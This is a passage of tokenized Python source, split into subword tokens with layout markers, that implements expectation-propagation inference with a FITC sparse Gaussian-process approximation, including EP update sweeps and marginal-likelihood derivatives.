"mean_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "post_", ",_", "nl", "Z_", "[_", "0_", ",_", "0_", "]_", ",_", "dn", "l", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "post_", ",_", "nl", "Z_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FIT", "C", "\\u", "EP", "_", "(_", "Infer", "ence_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate_", "(_", "self_", ",_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ",_", "x_", ",_", "y_", ",_", "narg", "out_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "cov", "func_", ",_", "cov_", "._", "FIT", "CO", "f", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "On", "ly", " ", "cov", "FIT", "C", " ", "support", "ed", ".'_", ")_", "#", " ", "check", " ", "cov_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tol_", "=_", "1e-4_", ";_", "max", "\\u", "sweep_", "=_", "10_", ";_", "min", "\\u", "sweep_", "=_", "2_", "#", " ", "tolera", "nce", " ", "to", " ", "stop", " ", "EP", " ", "iterations_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inf", "func_", "=_", "EP", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diag", "K_", ",_", "Ku", "u_", ",_", "Ku", "_", "=_", "cov", "func_", "._", "get", "Cov", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ")_", "#", " ", "evaluate", " ", "the", " ", "covariance", " ", "matrix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "mean", "func_", "._", "get", "Mean_", "(_", "x_", ")_", "#", " ", "evaluate", " ", "the", " ", "mean", " ", "vector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "lik", "func_", "._", "hyp", "_", ":_", "#", " ", "hard", " ", "code", "d", " ", "induc", "ing", " ", "inputs", " ", "noise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sn", "2_", "=_", "np_", "._", "exp_", "(_", "2._", "*_", "lik", "func_", "._", "hyp", "_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sn", "u2_", "=_", "1.e", "-6_", "*_", "sn", "2_", "#", " ", "similar", " ", "to", " ", "inf", "FIT", "C_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sn", "u2_", "=_", "1.e", "-6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", ",_", "D_", "=_", "x_", "._", "shape_", ";_", "nu_", "=_", "Ku", "u_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rot", "180_", "=_", "lambda_", "A_", ":_", "np_", "._", "rot", "90_", "(_", "np_", "._", "rot", "90_", "(_", "A_", ")_", ")_", "#", " ", "litt", "le", " ", "help", "er", " ", "functions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "chol", "\\u", "inv", " ", "=", " ", "lambda", " ", "A", ":", " ", "np", ".", "linalg", ".", "solve", "(", " ", "rot", "180", "(", " ", "np", ".", "linalg", ".", "choles", "ky", "(", "rot", "180", "(", "A", "))", " ", "),", "np", ".", "eye", "(", "nu", "))", " ", "#", " ", "chol", "(", "inv", "(", "A", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "chol", "\\u", "inv_", "=_", "lambda_", "A_", ":_", "rot", "180_", "(_", "np_", "._", "linalg_", "._", "solve_", "(_", "jit", "chol", "_", "(_", "rot", "180_", "(_", "A_", ")_", ")_", ",_", "np_", "._", "eye_", "(_", "nu_", ")_", ")_", ")_", "#", " ", "chol", "(", "inv", "(", "A", "))", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "R0", "_", "=_", "chol", "\\u", "inv_", "(_", "Ku", "u_", "+_", "sn", "u2_", "*_", "np_", "._", "eye_", "(_", "nu_", ")_", ")_", "#", " ", "initial", " ", "R", ",", " ", "used", " ", "for", " ", "refre", "sh", " ", "O", "(", "nu", "^", "3", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "V_", "=_", "np_", "._", "dot_", "(_", "R0", "_", ",_", "Ku", "_", ")_", ";_", "d0_", "=_", "diag", "K_", "-_", "np_", "._", "array_", "(_", "[_", "(_", "V_", "*_", "V_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", "]_", ")_", "._", "T_", "#", " ", "initial", " ", "d", ",", " ", "need", "ed", " ", "for", " ", "refre", "sh", " ", "O", "(", "n", "*", "nu", "^", "2", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "note", " ", "on", " ", "nami", "ng", ":", " ", "variab", "les", " ", "are", " ", "give", "n", " ", "short", " ", "but", " ", "descripti", "ve", " ", "names", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "acco", "rda", "nce", " ", "with", " ", "Ras", "mus", "sen", " ", "&", " ", "Willi", "ams", " ", "\"", "GP", "s", " ", "for", " ", "Machine", " ", "Learn", "ing", "\"", " ", "(", "2006", "):", " ", "mu_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "s2", " ", "are", " ", "mean", " ", "and", " ", "varian", "ce", ",", " ", "nu", " ", "and", " ", "tau", " ", "are", " ", "natur", "al", " ", "parameter", "s", ".", " ", "A", " ", "lead", "ing", " ", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "means", " ", "tilde", ",", " ", "a", " ", "subscript", " ", "\\u", "ni", " ", "means", " ", "\"", "not", " ", "i", "\"", " ", "(", "for", " ", "cav", "it", "y", " ", "parameter", "s", "),", " ", "or", " ", "\\u", "n_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "vector", " ", "of", " ", "cav", "it", "y", " ", "parameter", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "marginal", " ", "likelihood", " ", "for", " ", "tta", "u", " ", "=", " ", "tn", "u", " ", "=", " ", "zero", "s", "(", "n", ",", "1", ");", " ", "equals", " ", "n", "*", "log", "(", "2", ")", " ", "for", " ", "lik", "Cum", "*_", "\\u\\u\\uNL\\u\\u\\u_", "nl", "Z", "0_", "=_", "-_", "1._", "*_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "m_", ",_", "np_", "._", "reshape_", "(_", "diag", "K_", ",_", "(_", "diag", "K_", "._", "shape_", "[_", "0_", "]_", ",_", "1_", ")_", ")_", ",_", "inf", "func_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "last", "\\u", "tta", "u_", "is_", "None_", ":_", "#", " ", "find", " ", "startin", "g", " ", "point", " ", "for", " ", "tilde", " ", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tta", "u_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "#", " ", "initialize", " ", "to", " ", "zero", " ", "if", " ", "we", " ", "have", " ", "no", " ", "bett", "er", " ", "guess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tn", "u_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Refresh_", "(_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ",_", "V_", ",_", "tta", "u_", ",_", "tn", "u_", ")_", "#", " ", "compute", " ", "initial", " ", "repr", "es", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "nl", "Z", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tta", "u_", "=_", "self_", "._", "last", "\\u", "tta", "u_", "#", " ", "try", " ", "the", " ", "tilde", " ", "values", " ", "from", " ", "previ", "ous", " ", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tn", "u_", "=_", "self_", "._", "last", "\\u", "tn", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Refresh_", "(_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ",_", "V_", ",_", "tta", "u_", ",_", "tn", "u_", ")_", "#", " ", "compute", " ", "initial", " ", "repr", "es", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Z_", "(_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", ",_", "tta", "u_", ",_", "tn", "u_", ",_", "d0_", ",_", "R0", "_", ",_", "Ku", "_", ",_", "y_", ",_", "lik", "func_", ",_", "m_", ",_", "inf", "func_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "nl", "Z_", ">_", "nl", "Z", "0_", ":_", "#", " ", "if", " ", "zero", " ", "is", " ", "bett", "er", " ", "..", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tta", "u_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "#", " ", "..", " ", "then", " ", "initialize", " ", "with", " ", "zero", " ", "inst", "ead_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tn", "u_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Refresh_", "(_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ",_", "V_", ",_", "tta", "u_", ",_", "tn", "u_", ")_", "#", " ", "initial", " ", "repr", "es", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "nl", "Z", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nl", "Z", "\\u", "old_", "=_", "np_", "._", "inf_", ";_", "sweep_", "=_", "0_", "#", " ", "converged", ",", " ", "max", ".", " ", "sweep", "s", " ", "or", " ", "min", ".", " ", "sweep", "s", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "np_", "._", "abs_", "(_", "nl", "Z_", "-_", "nl", "Z", "\\u", "old_", ")_", ">_", "tol_", "and_", "sweep_", "<_", "max", "\\u", "sweep_", ")_", "or_", "(_", "sweep_", "<_", "min", "\\u", "sweep_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nl", "Z", "\\u", "old_", "=_", "nl", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sweep_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rp", "erm", "_", "=_", "list_", "(_", "range_", "(_", "n_", ")_", ")_", "#", " ", "rand", "perm", "(", "n", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "rp", "erm", "_", ":_", "#", " ", "iterate", " ", "EP", " ", "update", "s", " ", "(", "in", " ", "random", " ", "order", ")", " ", "over", " ", "examples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p", "\\u", "i_", "=_", "np_", "._", "reshape_", "(_", "P_", "[_", ":_", ",_", "ii_", "]_", ",_", "(_", "P_", "._", "shape_", "[_", "0_", "]_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "np_", "._", "dot_", "(_", "R_", ",_", "np_", "._", "dot_", "(_", "R0", "_", ",_", "p", "\\u", "i_", ")_", ")_", "#", " ", "temporar", "y", " ", "variables_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sigma", "\\u", "i_", "=_", "d_", "[_", "ii_", "]_", "+_", "np_", "._", "dot_", "(_", "t_", "._", "T_", ",_", "t_", ")_", ";_", "mu", "\\u", "i_", "=_", "nn_", "[_", "ii_", "]_", "+_", "np_", "._", "dot_", "(_", "p", "\\u", "i_", "._", "T_", ",_", "gg_", ")_", "#", " ", "post", " ", "moments", " ", "O", "(", "nu", "^", "2", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tau", "\\u", "ni_", "=_", "old", "\\u", "div_", "(_", "1_", ",_", "sigma", "\\u", "i_", ")_", "-_", "tta", "u_", "[_", "ii_", "]_", "#", " ", " ", "first", " ", "find", " ", "the", " ", "cav", "it", "y", " ", "distribu", "tion", " ", "..", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu", "\\u", "ni_", "=_", "old", "\\u", "div_", "(_", "mu", "\\u", "i_", ",_", "sigma", "\\u", "i_", ")_", "+_", "m_", "[_", "ii_", "]_", "*_", "tau", "\\u", "ni_", "-_", "tn", "u_", "[_", "ii_", "]_", "#", " ", "..", " ", "params", " ", "tau", "\\u", "ni", " ", "and", " ", "nu", "\\u", "ni_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "compute", " ", "the", " ", "desi", "red", " ", "derivatives", " ", "of", " ", "the", " ", "indiv", "dual", " ", "log", " ", "partit", "ion", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", "[_", "ii_", "]_", ",_", "old", "\\u", "div_", "(_", "nu", "\\u", "ni_", ",_", "tau", "\\u", "ni_", ")_", ",_", "old", "\\u", "div_", "(_", "1_", ",_", "tau", "\\u", "ni_", ")_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l", "Z_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dl", "Z_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "l", "Z_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tta", "u\\u", "i_", "=_", "old", "\\u", "div_", "(_", "-_", "d2", "l", "Z_", ",_", "(_", "1._", "+_", "old", "\\u", "div_", "(_", "d2", "l", "Z_", ",_", "tau", "\\u", "ni_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tta", "u\\u", "i_", "=_", "max_", "(_", "tta", "u\\u", "i_", ",_", "0_", ")_", "#", " ", "enforce", " ", "posit", "ivity", " ", "i", ".", "e", ".", " ", "lower", " ", "bound", " ", "tta", "u", " ", "by", " ", "zero_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tn", "u\\u", "i_", "=_", "old", "\\u", "div_", "(_", "(_", "dl", "Z_", "+_", "(_", "m_", "[_", "ii_", "]_", "-_", "old", "\\u", "div_", "(_", "nu", "\\u", "ni_", ",_", "tau", "\\u", "ni_", ")_", ")_", "*_", "d2", "l", "Z_", ")_", ",_", "(_", "1._", "+_", "old", "\\u", "div_", "(_", "d2", "l", "Z_", ",_", "tau", "\\u", "ni_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "d_", ",_", "P_", "[_", ":_", ",_", "ii_", "]_", ",_", "R_", ",_", "nn_", ",_", "gg_", ",_", "tta", "u_", ",_", "tn", "u_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Update_", "(_", "d_", ",_", "P_", "[_", ":_", ",_", "ii_", "]_", ",_", "R_", ",_", "nn_", ",_", "gg_", ",_", "tta", "u_", ",_", "tn", "u_", ",_", "ii_", ",_", "tta", "u\\u", "i_", ",_", "tn", "u\\u", "i_", ",_", "m_", ",_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ")_", "#", " ", "update", " ", "representation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recompute", " ", "sinc", "e", " ", "repeated", " ", "rank", "-", "one", " ", "update", "s", " ", "can", " ", "destroy", " ", "numerical", " ", "precision_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Refresh_", "(_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ",_", "V_", ",_", "tta", "u_", ",_", "tn", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "nl", "Z_", ",_", "nu", "\\u", "n_", ",_", "tau", "\\u", "n_", "]_", "=_", "self_", "._", "\\u", "ep", "fit", "c", "Z_", "(_", "d_", ",_", "P_", ",_", "R_", ",_", "nn_", ",_", "gg_", ",_", "tta", "u_", ",_", "tn", "u_", ",_", "d0_", ",_", "R0", "_", ",_", "Ku", "_", ",_", "y_", ",_", "lik", "func_", ",_", "m_", ",_", "inf", "func_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sweep_", "==_", "max", "\\u", "sweep_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'[", "warn", "ing", "]", " ", "maxim", "um", " ", "number", " ", "of", " ", "sweep", "s", " ", "reache", "d", " ", "in", " ", "function", " ", "inf", "EP", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "last", "\\u", "tta", "u_", "=_", "tta", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "tn", "u_", "=_", "tn", "u_", "#", " ", "remember", " ", "for", " ", "next", " ", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "=_", "post", "Struct_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "s", "W_", "=_", "np_", "._", "sqrt_", "(_", "tta", "u_", ")_", "#", " ", "unu", "sed", " ", "for", " ", "FIT", "C", "\\u", "EP", " ", "predicti", "on", " ", "with", " ", "gp", ".", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dd_", "=_", "old", "\\u", "div_", "(_", "1_", ",_", "(_", "d0_", "+_", "old", "\\u", "div_", "(_", "1_", ",_", "tta", "u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "=_", "tn", "u_", "/_", "tta", "u_", "*_", "dd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RV", "_", "=_", "np_", "._", "dot_", "(_", "R_", ",_", "V_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "R0", "t", "V_", "=_", "np_", "._", "dot_", "(_", "R0", "_", "._", "T_", ",_", "V_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "=_", "alpha_", "-_", "np_", "._", "dot_", "(_", "RV", "_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "RV", "_", ",_", "alpha_", ")_", ")_", "*_", "dd_", "#", " ", "long", " ", "alpha", " ", "vector", " ", "for", " ", "ordina", "ry", " ", "inf", "EP", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "alpha_", "=_", "np_", "._", "dot_", "(_", "R0", "t", "V_", ",_", "alpha_", ")_", "#", " ", "alpha", " ", "=", " ", "R0", "'*", "V", "*", "inv", "(", "Kt", "+", "diag", "(", "1", "./", "tta", "u", "))", "*(", "tn", "u", "./", "tta", "u", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B_", "=_", "R0", "t", "V_", "*_", "np_", "._", "tile_", "(_", "dd_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", ";_", "L_", "=_", "np_", "._", "dot_", "(_", "B_", ",_", "R0", "t", "V_", "._", "T_", ")_", ";_", "B_", "=_", "np_", "._", "dot_", "(_", "B_", ",_", "RV", "_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "L_", "=_", "np_", "._", "dot_", "(_", "B_", ",_", "B_", "._", "T_", ")_", "-_", "L_", "#", " ", "L", " ", "=", " ", "-", "R0", "'*", "V", "*", "inv", "(", "Kt", "+", "diag", "(", "1", "./", "tta", "u", "))", "*", "V", "'*", "R0", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "narg", "out_", ">_", "2_", ":_", "#", " ", "do", " ", "we", " ", "want", " ", "derivatives", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "l", "Z_", "=_", "dn", "l", "ZS", "truct", "_", "(_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ")_", "#", " ", "allocate", " ", "space", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RV", "dd_", "=_", "RV", "_", "*_", "np_", "._", "tile_", "(_", "dd_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "cov", "func_", "._", "hyp", "_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ddi", "ag", "K_", ",_", "d", "Ku", "u_", ",_", "d", "Ku", "_", "=_", "cov", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ",_", "der_", "=_", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d", "A_", "=_", "2_", "*_", "d", "Ku", "_", "._", "T_", "-_", "np_", "._", "dot_", "(_", "R0", "t", "V_", "._", "T_", ",_", "d", "Ku", "u_", ")_", "#", " ", "d", "Q", " ", "=", " ", "d", "A", "*", "R0", "t", "V_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "d", "A_", "*_", "R0", "t", "V_", "._", "T_", ")_", "._", "sum_", "(_", "axis_", "=_", "1_", ")_", ")_", "._", "T_", "#", " ", "w", " ", "=", " ", "diag", "(", "d", "Q", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "ddi", "ag", "K_", "-_", "w_", "#", " ", "v", " ", "=", " ", "diag", "(", "d", "K", ")-", "diag", "(", "d", "Q", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "np_", "._", "dot_", "(_", "dd_", "._", "T_", ",_", "(_", "v_", "+_", "w_", ")_", ")_", "-_", "np_", "._", "dot_", "(_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "RV", "dd_", "*_", "RV", "dd_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", ")_", ",_", "v_", ")_", "-_", "(_", "np_", "._", "dot_", "(_", "RV", "dd_", ",_", "d", "A_", ")_", "._", "T_", "*_", "np_", "._", "dot_", "(_", "R0", "t", "V_", ",_", "RV", "dd_", "._", "T_", ")_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "old", "\\u", "div_", "(_", "(_", "z_", "-_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "alpha_", "*_", "v_", ")_", ")_", "-_", "np_", "._", "dot_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "d", "A_", ")_", ",_", "np_", "._", "dot_", "(_", "R0", "t", "V_", ",_", "alpha_", ")_", ")_", ")_", ",_", "2._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "lik", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "likelihood", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dli", "k_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "old", "\\u", "div_", "(_", "nu", "\\u", "n_", ",_", "tau", "\\u", "n_", ")_", "+_", "m_", ",_", "old", "\\u", "div_", "(_", "1_", ",_", "tau", "\\u", "n_", ")_", ",_", "inf", "func_", ",_", "ii_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "-_", "dli", "k_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ii_", "==_", "len_", "(_", "lik", "func_", "._", "hyp", "_", ")_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sinc", "e", " ", "sn", "u2", " ", "is", " ", "a", " ", "fixed", " ", "fract", "ion", " ", "of", " ", "sn", "2", ",", " ", "there", " ", "is", " ", "a", " ", "covariance", "-", "like", " ", "term_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "deriv", "ative", " ", "as", " ", "well_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "R0", "t", "V_", "*_", "R0", "t", "V_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "(_", "np_", "._", "dot_", "(_", "RV", "dd_", ",_", "R0", "t", "V_", "._", "T_", ")_", "**_", "2_", ")_", "._", "sum_", "(_", ")_", "-_", "np_", "._", "dot_", "(_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "RV", "dd_", "*_", "RV", "dd_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", ")_", ",_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "z_", "+_", "np_", "._", "dot_", "(_", "post_", "._", "alpha_", "._", "T_", ",_", "post_", "._", "alpha_", ")_", "-_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "v_", "*_", "alpha_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "+=_", "sn", "u2_", "*_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[_", "junk", "_", ",_", "dl", "Z_", "]_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "old", "\\u", "div_", "(_", "nu", "\\u", "n_", ",_", "tau", "\\u", "n_", ")_", ",_", "old", "\\u", "div_", "(_", "1_", ",_", "tau", "\\u", "n_", ")_", ",_", "inf", "func_", ",_", "None_", ",_", "2_", ")_", "#", " ", "mean", " ", "hyp", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "mean", "func_", "._", "hyp", 